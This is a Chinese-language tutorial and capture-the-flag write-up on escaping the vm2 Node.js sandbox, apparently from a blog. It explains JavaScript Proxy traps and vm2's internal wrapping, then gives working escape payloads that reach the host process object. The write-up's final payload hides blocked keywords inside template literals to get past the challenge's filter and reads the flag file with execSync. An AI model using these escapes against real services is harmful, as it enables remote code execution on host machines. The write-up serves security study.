vm2沙箱逃逸
vm2 API
proxy代理
proxy用于修改某些操作的默认行为,等同于在语言层面做出修改,所以属于一种”元编程”,即对编程语言进行编程,可以理解成在目标对象之前架设一层”拦截”,外界对该对象进行访问时,都必须先通过这层拦截,因此提供一种机制,可以对外界的访问进行过滤和改写,这种操作可以被称为”代理器”
实例
1 | var obj = new Proxy({}, { |
上面代码相当于对一个空对象架设了一层拦截,对属性的读取(get)和设置(set)行为进行重新的定义,如果对obj里的属性进行读取或设置的话,就会有以下的结果
1 | obj.count=1; //结果为:setting count! |
从结果中,我们可以知道对obj里的属性的读取和设置都进行了拦截
而ES6原生提供的Proxy构造函数,用来生成Proxy实例
1 | var proxy=new Proxy(target,handler); |
其中new Proxy()表示生成一个Proxy实例,而target参数表示要拦截的目标对象,handler参数也是一个对象,用来定制拦截行为
当然有一个技巧是将Proxy对象,设置到object.proxy属性,从而可以在object对象上调用,即
1 | var object={proxy:new Proxy(target,handler)}; |
实例
1 | var proxy = new Proxy({}, { |
proxy对象是obj对象的模型,而由于obj对象本身并没有time属性,所以根据原型链,会在proxy对象上读取该属性,导致被拦截
同一个拦截函数可以设置多个拦截操作,一共13种
1 | get(target,propKey,receiver):拦截对象属性的读取 |
vm2实现原理
vm2的代码有四个主要文件
1 | cli.js:实现vm2的命令行调用 |
const {VM, VMScript} = require(“vm2”);
const script = new VMScript(“let a = 2;a”);
let vm = new VM();
console.log(vm.run(script)); //2
1 | 运行代码的实现 |
首先,new VMScript(“let a=2;a”)会调用vm.Script编译代码为script
然后,let vm=new VM()会调用vm,createContext创建一个上下文context,然后引入sandbox.js将其封装为一个匿名函数anonymous,之后调用封装的匿名函数anonymous,绑定其中的this为context
最后vm.run(script)会调用vm.runInContext在上下文的context中运行script
1 | 而且当我们创建VM的对象时,vm2内部会引入contextify.js,针对vm.createContext创建的上下文作为参数传入,并且vm的api会将contextify.js封装为一个匿名函数 |
Reflect.defineProperty(this, '_internal', {
value: vm.runInContext(`(function(require, host) { ${cf} n})`, this._context, {
filename: `${__dirname}/contextify.js`,
displayErrors: false
}).call(this._context, require, host)
});
1 |
|
// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;
// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);
Object.defineProperties(global, {
global: {value: global},
GLOBAL: {value: global},
root: {value: global},
isVM: {value: true}
});
1 | 虽然是在函数体外部写了return语句,所以webstrom报错,但是实际上这串代码还是会封装在函数中的 |
return{
Contextify,
Decontextify,
Buffer:LocalBuffer
};
1 | 其中的Contextify和Decontextify都是两个weakmap,而weakmap是es6新增的语法,只接受对象作为键名,并且这些对象是不会被计入垃圾回收机制的,这是防止内存泄露,而这是用来存储已经被代理过的对象的 |
const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
allocUnsafe: function allocUnsafe(size) {
return this.alloc(size);
},
allocUnsafeSlow: function allocUnsafeSlow(size) {
return this.alloc(size);
}
});
1 | 而对于整个匿名函数调用的顺序是 |
”global.Buffer=“—->“cobtextify.readonly”—->“contextify.value”—->contextify.value“—->”contextify.function“—->”contextify.object“
1 | 从匿名函数的调用过程,我们可以看见最后它返回的是代理对象,而且还会做一个object.assign的操作,即将所有可枚举属性的值从一个或多个源对象复制到目标对象,然后返回目标对象,如 |
const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };
const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }
1 | 可见source的b会覆盖target的b,而覆盖的1优先级是 |
deepTraps > traps > {get:…, set: …}
1 | 最终会得到Buffer代理对象,而它本身仍然是nodejs提供的,只是vm2加了一层代理,所以在vm2的沙箱中访问它的属性时会被设定的方法拦截,而且Contextify.object 内部还使用了 WeakMap 来存储已经代理过的对象和对象的代理,所以在vm2沙箱环境中,如果是内部的对象,由于vm的实现机制保证了内部定义的对象无法逃逸,而对于外部引入的对象,由于vm2提供的代理机制会拦截constructor等属性的访问,从而保证这个沙箱的安全 |
const {VM, VMScript} = require(‘vm2’);
const fs = require(‘fs’);
const file = ${__dirname}/sandbox.js
;
// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);
console.log(new VM().run(script));
1 |
|
let a = Buffer.from(“”); //访问Buffer的from属性并调用
a.i = () => {}; //给对象添加属性
console.log(a.i); //访问对象的属性
1 |
|
Buffer.from—->代理的get拦截—->contextify.value—->contextify.function—->contextify.object
1 | 我们从调用过程中可以看见Buffer代理对象访问其from属性,然后被代理的get方法拦截,经过层层调用后,会返回一个函数的代理对象,而这个代理对象会被当作函数调用,会被apply捕获,apply拦截方法 |
apply: (target, context, args) => {
try {
context = Decontextify.value(context);
// Set context of all arguments to host's context.
return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
} catch (e) {
throw Contextify.value(e);
}
}
1 | 然后apply拦截方法的调用过程 |
Buffer.from(“”)—>代理apply拦截—>Decontextify.value(context)对上下文解封装—>Decontextify.arguments(args)对参数解封装—>apply函数调用—>contextify.value对得到的结果封装
1 | 这里调用了Decontextify.value,实际上Decontextify的实现和contextify是对称的,只是有点略微的不同,而Decontextify.value首先会检查contextified中是否有这个对象,如果有则直接返回,没有则加一层代理 |
a.i=()=>{};
1 | 此时会被代理的se方法拦截 |
constructor属性返回的会是host.function
1 | 所以当我们执行最后一行代码时 |
console.log(a.i);
1 | 会被代理的get方法拦截,但是vm2的作者通过contextify.value取出被代理之前的对象,最终还是得到原来的函数,所以无法获得被代理的函数对象 |
process = t.constructor(“return process”)();
1 | 来访问原型链中的construct属性,从而获得function,使用内置函数执行恶意代码 |
var handler = {
get () {
console.log(“get”);
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(){
console.log(“has”);
}
proxy.a; //触发get
“” in proxy; //触发has,这个has是在原型链上定义的
1 | 可见在对象target定义了get操作,所以当时使用proxy.a时会打印出get,而当"" in proxy时,由于target对象中没有直接定义has进行拦截,所以会调用外部的has拦截,从而输出has |
var handler = {
get () {
console.log(“get”);
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(){
console.log(“has”);
}
1 | 由于Buffer.from是一个代理对象,但是在vm2内部的Object中没有has方法,所以我们可以自己给Object对象的原型中添加has方法,这时候运行 |
“” in Buffer.from
1 | 就会执行我们自定义的has方法,由于proxy机制,参数t为function Buffer.from,而这个function时在外部,其上下文是 nodejs 的global下,所以访问其 constructor 属性就获取到了外部的 Function,从而拿到外部的 process |
var obj = {
prop: let obj = {
prop:123,
Writable: true
}
let jbo = {
get prop(){
return “get”;
},
set prop(val){
console.log(“set”+val);
}
}
console.log(obj.prop); //123
console.log(jbo.prop); //get
1 | 但是我们可以利用Object.defineProperty |
let obj = {};
Object.defineProperty(obj, “prop”, {
get get(){
console.log(“get1”); //get1
return ()=>{return “get2”};
}
})
console.log(obj.prop); //get2
1 | 此时会先执行get()函数,打印出get1,返回一个函数,作为prop属性的getter,之后访问obj.prop会打印出get2,然后我们再看vm2逃逸的代码 |
var process;
try {
let a = Buffer.from(“”)
Object.defineProperty(a, “”, {
get set() {
Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});
return ()=>{};
}
});
} catch (e) {
process = e(() => {});
}
1 | 执行的过程 |
同时”异步执行在Object.prototype上添加get属性“
/
“Buffer.from(“”)返回一个代理对象a”—>”Object.defineProperty在a上添加属性,被代理的defineProerty拦截“–>vm2内部访问到Object.prototype.get时”—>”vm2内部抛出异常并被捕获“–>“vm2再次抛出异常e”—>”捕获vm2内部的异常“–>执行e(()=>{})逃逸
1 | 此时a是一个代理对象,当我们在a上定义新属性时会被defineProperty拦截,而在defineProperty中有一串代码会检测descriptor上是否设置了get和set,如果是,则会调用外部的host.Object.defineProperty 去实现设置对象属性 |
Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});
1 |
|
throw x=>x.constructor(“return process”)();
1 | 而这个异常会被vm2内部捕获,就是这里的e |
}catch(e){
throw Contextify.value(e);
}
1 | 然后vm2会将这个抛出的异常包装成一个代理对象之后,继续抛出,最后被我们的代码捕获 |
}catch(e){
let k=()=>{};
process=e(k);
}
然后会将其作为函数来调用,就会触发这个函数代理对象的apply方法,此时apply方法中的target为x=>x.constructor(‘return process’)(),context是函数的上下文代理,通过Decontextify.value 之后是 underfined,然后args是函数的参数代理,其值为()=>{},然后会先将函数的参数进行一次处理,然后反射调用函数,并将得到结果包装成代理对象,即函数的参数()=>{}是一个函数,不是代理对象,所以decontextify将其做了一次包装后,成为一个代理对象,然后这个代理对象触发get方法后的constructor属性返回host.function,所以导致了沙箱逃逸
实例just escape
打开页面,发现有提示
1 | /run.php?code=(2%2b6-7)/3 |
然后构造
1 | /run.php |
发现有源码
1 | <?php |
此时,我们直接构造
1 | ?code=system("ls"); |
发现有过滤,然后再仔细查看
1 | 真的是php嘛 |
这句话,我们可以推测可能是其它,而nodejs也有eval()函数,所以使用Error().stack测试,发现报错
1 | Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) |
从报错中的
1 | Error at vm.js:1:1 |
我们可以猜测可能是vm2沙箱逃逸,所以我们可以利用vm2沙箱逃逸来执行恶意代码,所以我们可以使用以下exp
1 | "use strict"; |
或者使用以下exp
1 | "use strict"; |
for, while, process, exec, eval, constructor, prototype, Function
1 | 所以我们可以利用在关键字母上加反引号`来绕过 |
/run.php?code=(function (){
TypeError[${
${prototyp
}e}
][${
${get_proces
}s}
] = f=>f[${
${constructo
}r}
](${
${return this.proces
}s}
)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e${
${get_proces
}s}
.mainModule${
${requir
}e}
[${
${exe
}cSync}
](cat /flag
).toString();
}
})()
```
即可得到flag
参考文章:[https://www.anquanke.com/post/id/207291]
[https://www.anquanke.com/post/id/207283]
[https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy]
[https://github.com/patriksimek/vm2/issues/225]
[https://www.freesion.com/article/92951402280/]